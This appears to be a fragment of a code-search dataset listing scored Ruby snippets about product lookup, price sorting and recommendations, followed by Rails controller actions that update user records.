"text": "def sort_tags_products_by_price(tag_name)\n tag = Tag.find_by(title: tag_name)\n tag.products.order(:price).each { | p | puts \"#{p.title} price is: #{p.price}\" }\nend",
"title": ""
},
{
"docid": "0e22ce0f6ad7d0ed80dac833512b6f57",
"score": "0.54575264",
"text": "def products_all(limit=nil) descendants_linked_objects('products_genuine', limit) end",
"title": ""
},
{
"docid": "35dc10e9386df8e7a1bacb2b31cb1b92",
"score": "0.544835",
"text": "def listable_products(sort_option = nil)\n Product.select_listable_and_sort(self.products, sort_option)\n end",
"title": ""
},
{
"docid": "6e25f0724763010cd0c1e9ab593b434e",
"score": "0.5445811",
"text": "def get_comparable_products_with_http_info(upc, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProductsApi.get_comparable_products ...'\n end\n # verify the required parameter 'upc' is set\n if @api_client.config.client_side_validation && upc.nil?\n fail ArgumentError, \"Missing the required parameter 'upc' when calling ProductsApi.get_comparable_products\"\n end\n # resource path\n local_var_path = '/food/products/upc/{upc}/comparable'.sub('{' + 'upc' + '}', CGI.escape(upc.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetComparableProducts200Response'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['apiKeyScheme']\n\n new_options = opts.merge(\n :operation => :\"ProductsApi.get_comparable_products\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProductsApi#get_comparable_products\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2fc3ce6b77d583f0ef012932d6732e6f",
"score": "0.543542",
"text": "def <(other)\n price < other.price\n end",
"title": ""
},
{
"docid": "5b51eba5c3ed96e5e826876d2c5bcd93",
"score": "0.54214483",
"text": "def products_sort_by_popularity\n return Product.order(popularity: :desc).limit(6)\n end",
"title": ""
},
{
"docid": "1d446a41c317ae5d07e6975c25ed04c2",
"score": "0.5420017",
"text": "def products(id=-1)\n serverCall {\n @products ||= # This action is quite slow and expensive, so we'd rather cache the result\n begin\n # login\n # product_ids = @server.call('Product.get_accessible_products')['ids']\n # product_ids = @server.call('Product.get_accessible_products')['ids']\n product_ids = getList(\"Product.get_accessible_products\", {}, 'ids') { |id| id } \n getList(\"Product.get\", product_ids, 'products') { |p| Product.new(p) } \n end\n }\n res = @products\n arr = [id] unless id.is_a?(Array) \n res = products.find { |p| arr.include?(p.id) } unless id==-1\n res\n end",
"title": ""
},
{
"docid": "19d168bafe2a6a69b0172cf7a07642db",
"score": "0.5415763",
"text": "def lowest_price_variant\n variants.order(:price, 'ASC').first\n end",
"title": ""
},
{
"docid": "90b27b2fac09911d07459a5367fa7600",
"score": "0.5413063",
"text": "def cheapest_products\n top_products = @products.sort_by { |hsh| hsh[:price] }\n\n JSON.pretty_generate(top_products[0 .. 9])\n # puts \"Best Seller products => #{JSON.pretty_generate(top_products[0 .. 9])}\"\n end",
"title": ""
},
{
"docid": "cba855f5fdb91a536bbaf0f68017668e",
"score": "0.54042405",
"text": "def sorted_naive_strategy\n set = Set.new\n $users_like_products.each do |u|\n set << [u[1], intersection_size(u[0])] if naive_conditions?(u)\n end\n set.sort_by { |n| n[1] }.reverse.map { |n| n[0] }\n end",
"title": ""
},
{
"docid": "955652dade24b3fdfdad799af3e43c25",
"score": "0.54000676",
"text": "def cheapest_products\n top_products = @products.sort_by { |hsh| hsh[:price] }\n\n # JSON.pretty_generate(top_products[0 .. 10])\n puts \"Best Seller products => #{JSON.pretty_generate(top_products[0 .. 10])}\"\n end",
"title": ""
},
{
"docid": "e7471c0181f296595a29d00f68215588",
"score": "0.5395218",
"text": "def product\n product_array = FarMar::Product.all\n product_array.each do |product|\n if product.id == product_id\n return product\n end\n end\n end",
"title": ""
},
{
"docid": "9ef59e369a81cde71a720b00dee7a4ce",
"score": "0.5376664",
"text": "def products\n found_products = []\n vendor_id = self.id\n FarMar::Product.all.each do |product|\n if product.vendor_id == vendor_id\n found_products << product\n end\n end\n return found_products\n end",
"title": ""
},
{
"docid": "eb5cbe36ecfdd9ce7aa52543616fe593",
"score": "0.53762984",
"text": "def available_products\n ShopProduct.all - products\n end",
"title": ""
},
{
"docid": "0f0608cc77669d9342521a5af655122d",
"score": "0.5371362",
"text": "def best_offer(quantity = 1)\n prices = []\n offers.each do |offer|\n p = offer.prices.select { |p| p[0] <= quantity }.last\n prices << { sku: offer.sku, price: p[1] } if p\n end\n best = prices.min_by { |p| p[:price] }\n offers.find { |offer| offer.sku == best[:sku] }\n end",
"title": ""
},
{
"docid": "b447ae666fad72d75d8c00a01921223d",
"score": "0.53671974",
"text": "def available_products; ShopProduct.all - self.products; end",
"title": ""
},
{
"docid": "f6e9f6c9280b8b64901d49f6cc1334b0",
"score": "0.5356541",
"text": "def products\n @products ||= rules.of_type(\"Promotion::Rules::Product\").map(&:products).flatten.uniq\n end",
"title": ""
},
{
"docid": "59471b91dcbb4854896b8c4fefe5f2d5",
"score": "0.5353864",
"text": "def product_variations_for_select(product)\n \n variations = []\n product.available_variations.each do |v| \n \n var = {:title => v.title, :id => v.id}\n \n if v.rounded_retail_price > v.product.retail_price\n var[:increase] = (v.rounded_retail_price - v.product.retail_price).cents\n else\n var[:increase] = 0\n end\n \n variations << var\n \n end #end collect\n \n \n #sort by price, increasing\n variations.sort! { |x,y| [x[:increase], x[:title]] <=> [y[:increase], y[:title]] }\n \n #loop to setup title & inner array\n variations.collect do |v|\n title = v[:title]\n \n if v[:increase] > 0\n title += \" (+ $#{Money.new(v[:increase])})\"\n end\n \n [title, v[:id]]\n \n end #end collect\n\n end",
"title": ""
},
{
"docid": "f33b3c0d1123cb6ff7093e0df80a904c",
"score": "0.5347288",
"text": "def active_products\n self.products :active => true, :order => [ :price.desc, :updated_at.desc ]\n end",
"title": ""
},
{
"docid": "2790545b27e4739ef9fad9145c190eb0",
"score": "0.5343809",
"text": "def base_product\n if self.product_set\n return self.product_set.products.first\n else\n return self\n end\n end",
"title": ""
},
{
"docid": "25b04c86cca75bc90c11628c2c7da113",
"score": "0.5328513",
"text": "def product\n all_products = FarMar::Product.all\n all_products.select do |product|\n product.id == product_id\n end\n end",
"title": ""
},
{
"docid": "c39545b6b6d5c031b99a0ec75f69c741",
"score": "0.53271776",
"text": "def get_products_bought\n res = []\n mem_prd = @data.products.with_type(@data.mem.mem_type)\n raise \"Can't find product #{@data.mem.mem_type.inspect}\" unless mem_prd\n res << [ 1, mem_prd ]\n\n @data.product_qty.each do |prd_id, qty|\n if qty > 0\n res << [ qty, @data.products.with_id(prd_id) ]\n end\n end\n\n res\n end",
"title": ""
},
{
"docid": "6a1605b75413460b8f6bf2b7443d974a",
"score": "0.5323302",
"text": "def toolkit_products\n products.select{|p| p if p.show_on_toolkit? }.sort_by{|p| p.created_at}.reverse\n end",
"title": ""
},
{
"docid": "5668b5f80ac7198807bbeaec48174989",
"score": "0.5321162",
"text": "def <=>(other)\n\t\tProduct.find_by(id: self.product_id).productid <=> Product.find_by(id: other.product_id).productid\n\tend",
"title": ""
},
{
"docid": "882388276412e00eb69e892aef88cb9c",
"score": "0.5320525",
"text": "def other_products\n @recs.select(®ULAR_PRODUCT)\n end",
"title": ""
},
{
"docid": "67467abe7908a003a866080aea5fd4c0",
"score": "0.53141415",
"text": "def comparePrice(x,y)\n if x.price < y.price\n result = -1\n elsif x.price > y.price\n result = 1\n elsif x.price == y.price\n result = 0\n end\n \n # Switch when in descendant order\n case @order\n when 1\n result *= -1 \n end\n \n return result\n end",
"title": ""
},
{
"docid": "6ac7ae354cda00182a27d68817ddd391",
"score": "0.53102505",
"text": "def product\n products = FarMar::Product.all\n products.each do |var|\n if var.product_id == @product_id # Need one instance of product_id\n return var\n end\n end\n end",
"title": ""
},
{
"docid": "2b6530237fbd61c9abc787056385324f",
"score": "0.5309431",
"text": "def get_special_products\n return Product.where(\"quantity >? and offer >=?\",0,20)\n end",
"title": ""
},
{
"docid": "9cb09d85cf506c3f44e23944857904ff",
"score": "0.53078204",
"text": "def driver_products() DriverProduct.all(:pkz_product_ids => id) end",
"title": ""
},
{
"docid": "1f27c29bc2d6cc769e3d32863b386c06",
"score": "0.529262",
"text": "def find_similar_products(product, top = nil)\n # Create active user's ratings matrix\n active_product_users = create_matrix_for_product product\n \n # Find product point on the graph\n product_embedded = active_product_users * @v_2col * @s_2col.inverse\n\n # Calculate cosine-based similarity\n product_sim = {}\n @u_2col.rows.each_with_index do |x, index|\n sim = (product_embedded.transpose.dot(x.transpose)) / (x.norm * product_embedded.norm)\n product_sim[index] = (sim.nan? or sim.nil?) ? 0 : sim\n end\n \n similar_products = product_sim.delete_if{ |k, sim| sim < MIN_SIMILARITY_PERCENTAGE or k+1 == product.id}\n .sort{ |x, y| y[1] <=> x[1] }\n \n similar_products = similar_products.first(top || similar_products.size)\n .collect{ |ind, sim| { :id => ind + 1, :similarity => sim.round(5) } }\n\n similar_products.size < 1 ? nil : similar_products\n end",
"title": ""
},
{
"docid": "c8326a4e1eaeb877bbb5b904a82bab33",
"score": "0.52884513",
"text": "def similar_products(product, opts={})\n eid = product.enterprise.id\n @product_recommenders[eid].similarities_for(product.id, opts)\n end",
"title": ""
},
{
"docid": "ea0d9842ec970e3bec917ecc3affefdf",
"score": "0.5265183",
"text": "def products\n Product.includes(:categorizations).where(categorizations: { category: subtree })\n end",
"title": ""
},
{
"docid": "c7b766ea47dda795fc7baf69823c285e",
"score": "0.5262732",
"text": "def get_products()\n products = Product.find(:all, :conditions => {:company_id => self.id})\n \n return products\n end",
"title": ""
},
{
"docid": "9563217a8cd042276a0269738d9f1fe3",
"score": "0.52546364",
"text": "def compare_products(products)\n\n no_p = products.length\n (0...no_p).each do |i|\n (i+1...no_p).each do |j|\n p1 = products[i]\n p2 = products[j]\n if p1 < p2\n p1.better += 1\n p2.worse += 1\n elsif p1 > p2\n p1.worse += 1\n p2.better += 1\n end\n end\n end\n return products\nend",
"title": ""
},
{
"docid": "5010c383889beaf9a09c83eeef577496",
"score": "0.52543885",
"text": "def products\n @products ||= find_products\n end",
"title": ""
},
{
"docid": "6864c39d045989589e393fa2800586a9",
"score": "0.52448124",
"text": "def find(params={})\n @products ||= build_get_request(request_url(product_class, params))\n end",
"title": ""
},
{
"docid": "6c98eff2edfc054c16271539389e78c5",
"score": "0.5241877",
"text": "def find(name, value)\n Wegift::Products.new(all: all.select! { |p| p.send(name).eql?(value) })\n end",
"title": ""
},
{
"docid": "7e45fd531bdd9d636cfd68955b80681e",
"score": "0.52391165",
"text": "def find_products\n product_ids = session[:compare_products] || []\n if product_ids.length > 4\n flash[:notice] = Spree.t(\"limit_is_4\")\n product_ids = product_ids[0..3]\n elsif product_ids.empty?\n flash[:error] = Spree.t(\"insufficient_data\")\n redirect_to spree.nested_taxons_path(@taxon.permalink)\n end\n @products = Spree::Product.where(id: product_ids).includes(product_properties: :property).limit(4)\n end",
"title": ""
},
{
"docid": "5b12a689eff0bf3b9ab947a938482629",
"score": "0.52385974",
"text": "def matching_items(order)\n order.order_items.where(product_id: promoted_items.pluck(:product_id))\n end",
"title": ""
},
{
"docid": "a70833fe39aa4e0cf43d028d63df6608",
"score": "0.5232564",
"text": "def sortProducts(products)\n variants = []\n products.each {\n |product| product[\"variants\"].each {\n |variant| variants << variant\n }\n }\n return variants.sort_by { |variant| variant[\"grams\"] }\nend",
"title": ""
},
{
"docid": "6e38a4b84c988998da2e4faaf109878d",
"score": "0.5225467",
"text": "def get_products(parameters)\n params = merge_params_with_defaults(parameters)\n\n # log_event(params, \"get_products_start\", 1)\n\n # products retrieving\n searched_products = Product.includes(:shop).where(status: \"active\").joins(:shop).with_attached_main_image\n\n # price range\n if params[:price_range].present?\n min_price = params[:price_range][0].present? ? params[:price_range][0].to_i : 1\n max_price = params[:price_range][1].present? ? params[:price_range][1].to_i : 1000000\n searched_products = searched_products.where(price: (min_price*100)..(max_price*100)) \n end\n\n \n # category filtering\n if params[:category_names].present?\n parent_categories = Category.includes(:sub_categories).where(parent_id: nil, name: params[:category_names])\n params[:category_names] -= parent_categories.map{|parent| parent.name}\n parent_to_children_category_names = {}\n parent_categories.each do |parent|\n children_names = parent.sub_categories.map{|sub| sub.name}\n parent_to_children_category_names[parent.name] = (children_names & params[:category_names]) | children_names\n end\n params[:category_names] += parent_to_children_category_names.map{|key, value| value}.flatten\n category_ids = Category.where(name: params[:category_names]).pluck(:id)\n searched_products = searched_products.where(category_id: category_ids)\n end\n \n\n # sorting\n if params[:sort_by] == \"price_asc\"\n searched_products = searched_products.order(price: :asc)\n end\n if params[:sort_by] == \"price_desc\"\n searched_products = searched_products.order(price: :desc)\n end\n if params[:sort_by] == \"created_at_desc\"\n searched_products = searched_products.order(created_at: :desc)\n end\n # Deprecated\n # if params[:sort_by] == \"distance\"\n # position = JSON.parse(params[:position])\n # if position.present? && position[\"latitude\"].present? && position[\"longitude\"].present?\n # searched_products = searched_products.select(\"*, SQRT(POW(69.1 * (shops.latitude - #{position[\"latitude\"].to_f}), 2) + POW(69.1 * (#{position[\"longitude\"].to_f} - shops.longitude) * COS(shops.latitude / 57.3), 2)) AS distance\").order(\"distance\")\n # else\n # raise ArgumentError.new(\"Search by distance requires the user position as parameter :position => {\\\"latitude\\\": Float, \\\"longitude\\\": Float}\")\n # end\n # end\n\n # search_text\n if params[:search_text].present?\n searched_products = searched_products.search_full_text(params[:search_text])\n end\n\n # pages management\n params[:page_number] = params[:page_number].to_i\n products_number = searched_products.count\n number_of_pages = products_number.to_i / params[:page_size].to_i\n number_of_pages += 1 if products_number.to_i % params[:page_size].to_i > 0\n offset = (params[:page_number].to_i - 1) * params[:page_size].to_i\n searched_products = searched_products.offset(offset).limit(params[:page_size].to_i)\n\n # shops info retrieving\n shops = searched_products.map{|product| [product.shop.id, product.shop.as_json]}.uniq.to_h\n \n # log_event(params, \"get_products_end\", 1)\n\n # result\n {\n shops: shops,\n number_of_pages: number_of_pages,\n products: build_products_array(searched_products),\n search_params: params.filter{|k,v| parameters.keys.map{|k| k.to_sym}.include?(k)}\n }\n end",
"title": ""
},
{
"docid": "b7b19a67e5cde2f4d68bcb54ed012b0a",
"score": "0.52244157",
"text": "def build_related_product_list(product, unrelated_categories)\n unrelated_categories.inject([]) do |result, category| \n \t\t random_products = category.products.reject{|random_category_product| random_category_product.id == product.id}.compact\n \t\t result << random_products.sample\n end\n \tend",
"title": ""
},
{
"docid": "5ec93db580bba674334d813e258b3deb",
"score": "0.52169853",
"text": "def items_by_product(product)\n inventory_items.for(product)\n end",
"title": ""
},
{
"docid": "3711e6c8825c9b739a3c2fb8dbedf59a",
"score": "0.5208173",
"text": "def products\n self.api.get_products.map { |p| model(:Product, p) }\n end",
"title": ""
},
{
"docid": "a361575c2ce64a911cf5fffbf0303a6e",
"score": "0.5203072",
"text": "def products\n Product.all.find_all do |product|\n product.vendor_id.to_i == @id.to_i\n end\n end",
"title": ""
},
{
"docid": "89bbafc212a024c0e92fbb65083df854",
"score": "0.51963747",
"text": "def product(product)\n products.find(product.id)\n end",
"title": ""
},
{
"docid": "89bbafc212a024c0e92fbb65083df854",
"score": "0.51963747",
"text": "def product(product)\n products.find(product.id)\n end",
"title": ""
},
{
"docid": "45120b1dd83582ea02e6ed6f9cf60294",
"score": "0.51941425",
"text": "def product\n return array_of_instances(FarMar::Product.all, \"product_id\", product_id).first\n end",
"title": ""
},
{
"docid": "7c9834889c7bdbb1a786668b38e7bbd8",
"score": "0.5193134",
"text": "def products\n order_products.map { |order_product| order_product.product }\n end",
"title": ""
},
{
"docid": "72c79feb892f4daf8ef970b4e8a73169",
"score": "0.51888984",
"text": "def getPurchasedProduct(input_product_id)\n PurchasedProduct.all.each do |product|\n if product.product_id.to_s == input_product_id.to_s\n return product\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "6fec8a392c6cc14baf28c6711a295474",
"score": "0.5185188",
"text": "def compare_product_table(dest_pt, src_pt)\r\n result = []\r\n dest_pt.each do |key, value|\r\n result << value unless src_pt.has_key?(key)\r\n result << value unless value.compare_to?(src_pt[key])\r\n end\r\n result\r\nend",
"title": ""
},
{
"docid": "67f888398dc934854933078784063f90",
"score": "0.51820153",
"text": "def product_from_catalog\n @product_found_in_catalog ||= DeviceModel.find_complete_or_clip( product) # cache\n end",
"title": ""
},
{
"docid": "67d5a99290acebdea819583b4406a5db",
"score": "0.517295",
"text": "def find_smallest_joinable_pair\n candidates = find_all_joinable_pairs\n min = candidates.min_by(&:size).size\n result = candidates.select { |tree| tree.size == min }.sample\n result\n end",
"title": ""
},
{
"docid": "cb3673dc90f2f4cd48388a54c838cf6e",
"score": "0.5164046",
"text": "def search_and_sort(value, criteria, direction)\n\t\t\tif value.blank? \n\t\t\t\tif direction=='asc'\n\t\t\t\t\tProduct.all.ascending\n\t\t\t\telsif direction=='desc'\n\t\t\t\t\tProduct.all.descending\n\t\t\t\telse\n\t\t\t\t\tProduct.all.ascending\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcase criteria\n\t\t\t\twhen 'p'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_product(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_product(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_product(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\twhen 'c'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_company(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_company(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_company(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\twhen 't'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_tag(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_tag(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_tag(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\twhen 'pc'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_product_company(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_product_company(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_product_company(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\twhen 'pt'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_product_tag(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_product_tag(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_product_tag(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\twhen 'ct'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_company_tag(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_company_tag(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_company_tag(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\twhen 'pct'\n\t\t\t\t\tif direction=='asc'\n\t\t\t\t\t\tProduct.search_by_product_company_tag(value).fts_ascending.with_pg_search_rank\n\t\t\t\t\telsif direction=='desc'\n\t\t\t\t\t\tProduct.search_by_product_company_tag(value).fts_descending.with_pg_search_rank\n\t\t\t\t\telse\n\t\t\t\t\t\tProduct.search_by_product_company_tag(value).with_pg_search_rank\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tProduct.search_by_product_company_tag(value).with_pg_search_rank\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "baefb2902144b2a95aa3f05cf20314ca",
"score": "0.5158749",
"text": "def available?\n product = self.product\n\n if self.quantity > product.quantity\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "afde93979867224b01b70cf1b261c354",
"score": "0.51566154",
"text": "def test_listable_1\n a = authors(:author1)\n l = a.listable_products()\n assert_equal(1, l.size)\n assert_equal(products(:product1), l[0])\n end",
"title": ""
},
{
"docid": "0b0a6c66bfe3f994e651430eaa4232a4",
"score": "0.5154907",
"text": "def version_obj_or_closest(name)\n return version_obj(name) if exists_at_version(name)\n\n # versions should fall back to the closest version to them that exists\n name ||= Version::ORDER[0]\n lower_versions = Version::ORDER[0..Version::ORDER.index(name)]\n\n lower_versions.reverse_each do |version|\n return version_obj(version) if exists_at_version(version)\n end\n\n raise \"Could not find object for version #{name} and product #{display_name}\"\n end",
"title": ""
},
{
"docid": "7d4bea5f197750aabc429bf8ce287feb",
"score": "0.5154753",
"text": "def recommended_products(options = {})\n\n options.assert_valid_keys(:limit)\n\n cart_products = cart_items.collect(&:product)\n recommendations = Hash.new(0)\n\n options[:limit] ||= MAX_RECOMMENDATIONS_FOR_CART\n\n # Get the recommendations for each product, and weight them by\n # index.\n cart_products.each do |product|\n product.product_recommendations.each_with_index do |recommended_product, i|\n recommendations[recommended_product] += (Product::MAX_PRODUCT_RECOMMENDATIONS - i) if recommended_product.days_backorder == 0\n end\n end\n\n # Return the first recommendations, filtered for things already in the cart\n return (recommendations.sort { |a, b| b[1] <=> a[1] }.collect { |v| v[0] } - cart_products)[0, options[:limit]]\n end",
"title": ""
},
{
"docid": "57e4d3106a0a9e3157fe9c9e9ece29ab",
"score": "0.5150472",
"text": "def optimal_pricings_for(sku)\n pricings = @pricings.select { |pricing| pricing.sku == sku }\n pricings.sort { |a,b| a.price_per_unit <=> b.price_per_unit }\n end",
"title": ""
},
{
"docid": "7d7f2935432681e7bb52f435ce9b53ca",
"score": "0.514968",
"text": "def add_to_good_deals_from products\n remaining_products = []\n sort_by_price products\n products.each do |current_ps|\n if @good_deals.empty?\n @good_deals << current_ps\n else\n last_ps = @good_deals.last\n #if the current product is as good as and as cheap as the previous one, or if it is\n #more expensive, but better, then put it in good_deals\n if (current_ps.price == last_ps.price and current_ps.spenta_score == last_ps.spenta_score) or (current_ps.price > last_ps.price and current_ps.spenta_score > last_ps.spenta_score)\n @good_deals << current_ps\n #if the current product is as cheap as the previous one but better,\n #add it to good_deals and remove the previous one\n elsif current_ps.price == last_ps.price and current_ps.spenta_score > last_ps.spenta_score\n @good_deals.delete last_ps\n remaining_products << last_ps\n @good_deals << current_ps\n else\n remaining_products << current_ps\n end\n end\n end\n remaining_products\n end",
"title": ""
},
{
"docid": "c6181ea50a4b461a06ac1223b6b48bc3",
"score": "0.5147704",
"text": "def current_products_plus_child_products(w)\n cp = self.current_products\n children_with_current_products(w).each do |pf|\n cp += pf.current_products_plus_child_products(w)\n end\n cp.uniq.sort_by(&:name)\n end",
"title": ""
},
{
"docid": "f5c1ffbfda421353b86427981e51f611",
"score": "0.51475364",
"text": "def sortProducts(products)\n variants = []\n products.each {\n |product| product[\"variants\"].each {\n |variant| variants << variant\n }\n }\n variants.sort_by { |variants| variants[\"grams\"] }\nend",
"title": ""
},
{
"docid": "cd6db0efcc0040fdca3f0233bdb96d39",
"score": "0.51469195",
"text": "def <(other); a*other.c < other.a*c; end",
"title": ""
}
] |
a28e478681ac9d29c5dd796aa824781d
|
PATCH/PUT /users/1 PATCH/PUT /users/1.json
|
[
{
"docid": "2c0b5e3dfe96c3aa7c94ece7d5fc955b",
"score": "0.0",
"text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "f0686f191a0def3b6c3ad6edfbcf2f03",
"score": "0.7243734",
"text": "def update_user(email)\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users/2.json'\n ).to_s\n\n puts RestClient.patch(\n url,\n { user: { email: email } }\n )\n end",
"title": ""
},
{
"docid": "3b79ec0097a76ef85fc6e9656edc3daf",
"score": "0.723075",
"text": "def patch_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end",
"title": ""
},
{
"docid": "8883f8815a6b9292435769a8a84d49f6",
"score": "0.7036527",
"text": "def update\n @user = User.patch(params[:id], params[:user])\n respond_with(@user)\n end",
"title": ""
},
{
"docid": "060d1f9e03ff05ffa8c109da1c913458",
"score": "0.699206",
"text": "def update\n @user.update!(user_params)\n render json: @user\n end",
"title": ""
},
{
"docid": "bb443a428f2563539f43b17c71594928",
"score": "0.6880885",
"text": "def update_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end",
"title": ""
},
{
"docid": "1ebfa5c43a28c0c6ae3c7116c2834ee3",
"score": "0.68419486",
"text": "def update_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end",
"title": ""
},
{
"docid": "072e5b03e910a6eec48902b51969403c",
"score": "0.68396354",
"text": "def update \n @user = User.find(params[:id])\n if @user.update(user_params)\n render json: @user \n else \n render status: 400, nothing: true \n end \n end",
"title": ""
},
{
"docid": "c0f436afe080be01e3d9a900ae80f8ab",
"score": "0.68303853",
"text": "def update\n head :no_content\n # @api_v1_user = Api::V1::User.find(params[:id])\n\n # if @api_v1_user.update(api_v1_user_params)\n # head :no_content\n # else\n # render json: @api_v1_user.errors, status: :unprocessable_entity\n # end\n end",
"title": ""
},
{
"docid": "385ac3bc89323aa86c512d98dcdd5ca2",
"score": "0.6811492",
"text": "def update\n user = current_user\n if user.update(user_params)\n render json: user, status: 200, location: [:api_v1, user]\n else\n render json: { errors: user.errors }, status: 422\n end\n end",
"title": ""
},
{
"docid": "bd6e920c3d00772f92e93b7f64b473a9",
"score": "0.67974377",
"text": "def update\n User.resource[params[:id]].patch(params)\n head :no_content\n end",
"title": ""
},
{
"docid": "832c248ba3eb8c446af4c6ce62926569",
"score": "0.67712307",
"text": "def update\n if @api_v1_user.update(api_v1_user_params)\n render json: @api_v1_user\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ef6c6cbfc7de8fe531f74bc52240477b",
"score": "0.67430866",
"text": "def update\n user = User.find(params[:user][:user_id])\n params[:user].delete(:user_id)\n user.update(update_params)\n render json: { message: 'user updated' }\n end",
"title": ""
},
{
"docid": "4dcb9429c1396178cff3eed0c55252a1",
"score": "0.67426515",
"text": "def update\n current_user.update!(user_params)\n render json: current_user\n end",
"title": ""
},
{
"docid": "759be2484912d28bb67ffe03d6a24228",
"score": "0.6738159",
"text": "def update\n user = User.find(params[:id])\n\n if user.update_attributes(user_params)\n render json: user.to_json, status: 200\n else\n render json: {error: \"User update failed\", status: 400}, status: 400\n end\n end",
"title": ""
},
{
"docid": "84d001a77df4c6c16e42ac2b0f89b9c6",
"score": "0.67281437",
"text": "def update\n update_and_respond(@user, user_params)\n end",
"title": ""
},
{
"docid": "08157edea9cb74ae2a3906e7f885a93d",
"score": "0.6701513",
"text": "def update \n @user = User.find(params[:id])\n if @user.update_attributes(user_params) \n render json: @user, status: :updated\n else \n render json: @user.errors, status: :unprocessable_entity \n end \n end",
"title": ""
},
{
"docid": "568a6defa7393f06936468d8c0b16b0a",
"score": "0.6676085",
"text": "def update\n user = find_user\n user.update(user_params)\n render json: user\n end",
"title": ""
},
{
"docid": "ad628f1fbccc9ec84489acc4f44a2ff1",
"score": "0.66749996",
"text": "def patch_update\n user = @company.public_send(ScimRails.config.scim_users_scope).find(params[:id])\n update_status(user)\n json_scim_response(object: user)\n end",
"title": ""
},
{
"docid": "cd593b8d281f9ba376a1bc786702fe2f",
"score": "0.6666992",
"text": "def update(*args)\n arguments(args) do\n permit VALID_USER_PARAMS_NAMES\n end\n\n patch_request(\"/user\", arguments.params)\n end",
"title": ""
},
{
"docid": "25b787bcfdea3803945cd20447f2f4bb",
"score": "0.66474646",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render :json => @user.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "699d9259b5511ca444c672d0fdd17ed2",
"score": "0.6646944",
"text": "def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"title": ""
},
{
"docid": "a79f25da2a38da334c5847d6f9c1ce16",
"score": "0.6624982",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n # TODO check if fitbit token should be removed\n if @user.update_attributes(params[:user])\n flash[:success] = \"User #{@user.email} was successfully updated.\"\n format.html { redirect_to users_url }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
